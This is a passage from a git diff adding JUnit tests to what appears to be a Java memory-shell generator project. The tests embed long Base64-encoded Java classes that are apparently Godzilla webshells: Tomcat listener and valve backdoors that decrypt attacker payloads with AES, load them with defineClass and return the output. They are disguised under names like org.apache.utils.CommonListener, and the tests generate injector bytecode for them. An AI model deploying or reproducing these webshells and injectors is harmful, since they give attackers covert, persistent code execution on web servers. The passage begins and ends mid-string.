AAAFrAAYABQAAAH4BTBILuAAMTSwSGgHAAA62AA8sAcAAELYAEU4ttgADEhsEvQBtWQMSeVO2AA8tBL0ABFkDKlO2ABHAABTAABRMpwA8ThIcuAAMTSy2ABg6BBkEtgADEh0EvQBtWQMSeVO2AA8ZBAS9AARZAypTtgARwAAUwAAUTKcABToEK7AAAgACAEAAQwB6AEQAdwB6AHoABABrAAAAKQAD/wBDAAIHAHkHABQAAQcAev8ANgAEBwB5BwAUAAcAegABBwB6+QABAFcAAAAyAAwAAABHAAIASgAIAEsAGwBMAEAAVABDAE0ARABPAEoAUABQAFEAdwBTAHoAUgB8AFUAWAAAAEgABwAbACUAfQBjAAMACAA7AHMAaAACAFAAJwB9AGMABABKADAAcwBoAAIARAA4AHQAdQADAAAAfgB2AE8AAAACAHwAeAB3AAEAaQAAABYAAgAIADsAcwBqAAIASgAwAHMAagACAAEAfgB/AAIAVgAAAD0ABAACAAAACSorAyu+twAesAAAAAIAVwAAAAYAAQAAAFoAWAAAABYAAgAAAAkAWQFAAAAAAAAJAIAAdwABAIEAAAACAIIAAQCDAIQAAQBWAAAA2AAGAAQAAAAsEh+4ACBOLRyZAAcEpwAEBbsAIVkqtAE2tgAjEh+3ACS2ACUtK7YAJrBOAbAAAQAAACgAKQB6AAMAawAAADwAA/8ADwAEBwExBwAUAQcAxQABBwDF/wAAAAQHATEHABQBBwDFAAIHAMUB/wAYAAMHATEHABQBAAEHAHoAVwAAABYABQAAAF8ABgBgACMAYQApAGIAKgBjAFgAAAA0AAUABgAjAIUAhgADACoAAgCHAHUAAwAAACwAWQFAAAAAAAAsAIgAdwABAAAALACJAIoAAgABAI0AjgABAFYAAAA1AAAAAgAAAAGxAAAAAgBXAAAABgABAAAAaQBYAAAAFgACAAAAAQBZAUAAAAAAAAEAjwCQAAEAAQCRAI4AAQBWAAAB9gAFAAgAAAD5K7YAJ8AAnU0sKrQBPLkAKgIAxgDiLCq0ATy5ACoCACq0AT+2ACyZAM4qLLcBQU4suQAuAQA6BCwqtAEzuQAwAgC4AUI6BSoZBQO2AUM6BRkEEjO5ADQCAMcAIhkEEjO7ATFZKrYAA7YANrcBRBkFtgFFuQA5AwCnAH0sEjoZBbkAOwMAuwA8WbcAPToGGQQSM7kANAIAwABttgAYOgcZBxkGtgA+VxkHLLYAPlctuQA/AQAqtAE5AxAQtgBBtgBCGQe2AENXLbkAPwEAKhkGtgBEBLYBQ7gBRrYAQi25AD8BACq0ATkQELYARrYAQi25AEcBAKcABE6xAAEACAD0APcAegADAGsAAAAjAAT/AHoABgcBMQcAzQcAnQcAngcA2wcAFAAA+AB5QgcAegAAVwAAAGIAGAAAAG0ACABvABoAcAApAHEALwByADcAcwBGAHQATwB1AFsAdgBkAHgAcgB2AHoAegCEAHsAjQB8AJ4AfQCmAH4ArQB/AMAAgADGAIEA3ACCAO4AgwD0AIcA9wCGAPgAiABYAAAAUgAIAI0AZwCSAJMABgCeAFYAlABjAAcALwDFAJUAlgADADcAvQCXAJgABABGAK4AmQB3AAUAAAD5AFkBQAAAAAAA+QCPAJAAAQAIAPEAmgCbAAIAAgCgAKEAAgBWAAAAoQACAAQAAAAhAU0rEki4AUcSSrgBR8AAnk2nAA5OKxJKuAFHwACeTSywAAEAAgARABQAegADAGsAAAAWAAL/ABQAAwcBMQcAnQcAngABBwB6CgBXAAAAGgAGAAAAiwACAI0AEQCQABQAjgAVAI8AHwCRAFgAAAAqAAQAFQAKAKIAdQADAAAAIQBZAUAAAAAAACEAmgCbAAEAAgAfAJUAlgACAG8AAAAEAAEAegABAKMAAAACAKQ="); + String shellClassName = "org.apache.utils.CommonListener"; + String injectClassName = this.getClass().getName() + "1"; + byte[] bytes = injectorGenerator.generate(TomcatListenerInjector.class, injectClassName, shellClassName, shellBytes, null); + Object obj = ClassUtils.newInstance(bytes); + assertEquals(injectClassName, obj.getClass().getName()); + assertEquals(shellClassName, ClassUtils.invokeMethod(obj, "getClassName", null, null).toString()); + assertEquals(Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), ""), + ClassUtils.invokeMethod(obj, "getBase64String", null, null).toString()); + System.out.println(Base64.encodeBase64String(bytes)); + } + + @Test + @SneakyThrows + void generateJakarta() { + byte[] shellBytes = Base64.decodeBase64("yv66vgAAADQBRwoATACkCgBMAKUKAAQApgcApwoAEwCoBwCpCgATAKoKAAYAqwoArACtCgCsAK4IAK8KABMAsAgAsQcAsgoAEwCzBwC0CgC1ALYIALcHALgHAHcHALkHALoIALsKABMAvAgAvQgAvggAvwgAwAgAwQoATADCCADDCgDEAMUHAMYJADUAxwoAFQDICgAhAMkKAMQAygoAxADLCgDMAM0HAM4JADUAzwsAKADQCQA1ANEKABUA0goANQDTCwAoANQJADUA1QsAKADWCgA1ANcKADUA2AgA2QsA2gDbBwDcCgATAN0KADUApQoANQDeCwDaAN8IAOALACgA3wcA4QoAPACkCgAEAOILAEsA4wkANQDkCgAVAOUKAOYA5woABADoCgA8AOkKADUA6goAFQDrCwBLAOwIAJkKADUA7QgAkgcA7gcA7wcA8AEAA21kNQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANrZXkBAApoZWFkZXJOYW1lAQALaGVhZGVyVmFsdWUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEARkxjb20vcmVhamFzb24vamF2YXdlYi9tZW1zZWxsL3RvbWNhdC9nb2R6aWxsYS9Hb2R6aWxsYUpha2FydGFMaXN0ZW5lcjsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEAAXoBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADWdldEZpZWxkVmFsdWUBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABHZhcjUBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAA29iagEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABG5hbWUBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQANU3RhY2tNYXBUYWJsZQcA8QcAuAcAqQEACkV4Y2VwdGlvbnMBAAxiYXNlNjRFbmNvZGUBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAHZW5jb2RlcgEABmJhc2U2NAEABHZhcjYBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAJicwEAAltCAQAFdmFsdWUHALkHALoBAAxiYXNlNjREZWNvZGUBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAHZGVjb2RlcgEAAVEBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAAJjYgEACVNpZ25hdHVyZQEAGChbQilMamF2YS9sYW5nL0NsYXNzPCo+OwEAAXgBAAcoW0JaKVtCAQABYwEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABHZhcjQBAAFzAQABbQEAAVoHANwHAPIBABJyZXF1ZXN0SW5pdGlhbGl6ZWQBACgoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50OylWAQAGYXJyT3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAWYBAAhyZXNwb25zZQEAKkxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB3Nlc3Npb24BACJMamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAEZGF0YQEAE3NlcnZsZXRSZXF1ZXN0RXZlbnQBACVMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0RXZlbnQ7AQAHcmVxdWVzdAEAKUxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7BwDzBwDOBwDuBwD0AQAWZ2V0UmVzcG9uc2VGcm9tUmVxdWVzdAEAVShMamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OylMamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAFlAQAKU291cmNlRmlsZQEAHEdvZHppbGxhSmFrYXJ0YUxpc3RlbmVyLmphdmEMAFQAVQwAVABbDAD1APYBABBqYXZhL2xhbmcvT2JqZWN0DAD3APgBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MAPkA9gwAVAD6BwDxDAD7APwMAP0A/gEAEGphdmEudXRpbC5CYXNlNjQMAP8BAAEACmdldEVuY29kZXIBABJbTGphdmEvbGFuZy9DbGFzczsMAQEBAgEAE1tMamF2YS9sYW5nL09iamVjdDsHAQMMAQQBBQEADmVuY29kZVRvU3RyaW5nAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAEGAQcBAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgwBCAEJAQADQUVTBwDyDAEKAQsBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDABRAE8MAQwBDQwAVAEODAEPARAMAREBEgcA8wwBEwEUAQAnamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0DABSAE8MARUBFgwAUwBPDAEXARgMAJ8AoAwBGQEaDABQAE8MARsBFgwAewB8DACDAIQBAAdwYXlsb2FkBwD0DAEcAR0BAERjb20vcmVhamFzb24vamF2YXdlYi9tZW1zZWxsL3RvbWNhdC9nb2R6aWxsYS9Hb2R6aWxsYUpha2FydGFMaXN0ZW5lcgwBHgEfDAB+AH8MASABIQEACnBhcmFtZXRlcnMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwBIgEjDAEkASUMAE4ATwwBJgEnBwEoDAEpAPoMASoBKwwBLAENDABwAHEMASYBLQwBLgBVDABeAF8BAChqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAmamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0TGlzdGVuZXIBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAE2phdmF4L2NyeXB0by9DaXBoZXIBACNqYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3RFdmVudAEAIGpha2FydGEvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADWdldFN1cGVyY2xhc3MBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQARZ2V0U2VydmxldFJlcXVlc3QBACIoKUxqYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAJZ2V0SGVhZGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEACmdldFNlc3Npb24BACQoKUxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAxnZXRQYXJhbWV0ZXIBAAxnZXRBdHRyaWJ1dGUBACYo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"); + String shellClassName = "org.apache.utils.CommonJakartaListener"; + String injectClassName = this.getClass().getName() + "2"; + byte[] bytes = injectorGenerator.generate(TomcatListenerInjector.class, injectClassName, shellClassName, shellBytes, null); + Object obj = ClassUtils.newInstance(bytes); + assertEquals(injectClassName, obj.getClass().getName()); + assertEquals(shellClassName, ClassUtils.invokeMethod(obj, "getClassName", null, null).toString()); + assertEquals(Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), ""), + ClassUtils.invokeMethod(obj, "getBase64String", null, null).toString()); + System.out.println(Base64.encodeBase64String(bytes)); + } +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjectorTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjectorTest.java new file mode 100644 index 00000000..08c710fe --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjectorTest.java @@ -0,0 +1,34 @@ +package com.reajason.javaweb.memsell.tomcat.injector; + +import com.reajason.javaweb.memsell.InjectorGenerator; +import com.reajason.javaweb.util.ClassUtils; +import com.reajason.javaweb.util.CommonUtil; +import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +class TomcatValveInjectorTest { + InjectorGenerator injectorGenerator = new InjectorGenerator(); + + @Test + @SneakyThrows + void generate() { + byte[] shellBytes = Base64.decodeBase64("yv66vgAAADQBKQoARACSCgBEAJMKAEQAlAgAlQoAlgCXBwCYCQAaAJkKAD0AmgoABgCbCgCWAJwKAJYAnQcAngkAGgCfCQAaAKAJABoAoQoAogCjCQAaAKQKAD0ApQoAogCmCQAaAKcKAKIAqAoAGgCpCgAaAKoIAKsLAKwArQcArgoAPACvCgAkALAKABoAkwoAGgCxCwCsALIIALMKAKIAsgcAtAoAIgCSBwC1CgAkALYKADwAtwoAuAC5CQAaALoKAD0AuwoAvAC9CgA8AL4KACIAvwoAGgDACgA9AMEKALgAwgoAGgDDCwBFAMQKAAwAxQgAxgoAJADHCADIBwDJCgAkAMoHAMsKAMwAzQgAzgcAXQcAzwcA0AgA0QgA0ggA0wgA1AgA1QgA1gcA1wcA2AEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAA5hc3luY1N1cHBvcnRlZAEAAVoBAANrZXkBABJMamF2YS9sYW5nL1N0cmluZzsBAARwYXNzAQAKaGVhZGVyTmFtZQEAC2hlYWRlclZhbHVlAQADbWQ1AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADxMY29tL3JlYWphc29uL2phdmF3ZWIvbWVtc2VsbC90b21jYXQvZ29kemlsbGEvR29kemlsbGFWYWx2ZTsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEAAXoBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAAVEBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAAJjYgEAAltCAQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAEdmFyNAEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAAXMBAAFtAQANU3RhY2tNYXBUYWJsZQcArgcA2QcAngEAB2dldE5leHQBAB0oKUxvcmcvYXBhY2hlL2NhdGFsaW5hL1ZhbHZlOwEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBAAV2YWx2ZQEAEGlzQXN5bmNTdXBwb3J0ZWQBAAMoKVoBABFiYWNrZ3JvdW5kUHJvY2VzcwEABmludm9rZQEAUihMb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVxdWVzdDtMb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVzcG9uc2U7KVYBAAZhcnJPdXQBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQABZgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAB3Nlc3Npb24BACBMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEABGRhdGEBAAFlAQAHcmVxdWVzdAEAJ0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0OwEACHJlc3BvbnNlAQAoTG9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlOwcA2gEACkV4Y2VwdGlvbnMHANsHANwBAAxiYXNlNjRFbmNvZGUBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAHRW5jb2RlcgEABmJhc2U2NAEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAEdmFyNgEAAmJzAQAFdmFsdWUHANABAAxiYXNlNjREZWNvZGUBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAHZGVjb2RlcgEAClNvdXJjZUZpbGUBABJHb2R6aWxsYVZhbHZlLmphdmEMAFAAUQwAUABXDADdAN4BAANBRVMHANkMAN8A4AEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMMAEoASwwA4QDiDABQAOMMAOQA5QwA5gDnAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwARgBHDABIAEkMAE0ASwcA6AwA6QDqDABOAEsMAOsA7AwA7QDuDABMAEsMAO8A6gwAjQCODABeAF8BAAdwYXlsb2FkBwDaDADwAPEBADpjb20vcmVhamFzb24vamF2YXdlYi9tZW1zZWxsL3RvbWNhdC9nb2R6aWxsYS9Hb2R6aWxsYVZhbHZlDADyAPMMAPQA9QwAWgBbDAD2APcBAApwYXJhbWV0ZXJzAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0BAA9qYXZhL2xhbmcvQ2xhc3MMAPgA+QwA+gD7BwD8DAD9AP4MAE8ASwwA/wEABwEBDAECAQMMAQQBBQwBBgDiDACEAIUMAP8BBwwBCABRDABqAGsMAHIAcwwBCQBRAQAQamF2YS51dGlsLkJhc2U2NAwBCgELAQAKZ2V0RW5jb2RlcgEAEltMamF2YS9sYW5nL0NsYXNzOwwBDAENAQATW0xqYXZhL2xhbmcvT2JqZWN0OwcBDgwAcgEPAQAOZW5jb2RlVG9TdHJpbmcBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAFnN1bi5taXNjLkJBU0U2NEVuY29kZXIBAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHmphdmF4L3NlcnZsZXQvU2VydmxldEV4Y2VwdGlvbgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQAlb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVxdWVzdAEACWdldEhlYWRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEADGdldFBhcmFtZXRlcgEADGdldEF0dHJpYnV0ZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9QcmludFdyaXRlcgEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvQnl0ZUFycmF5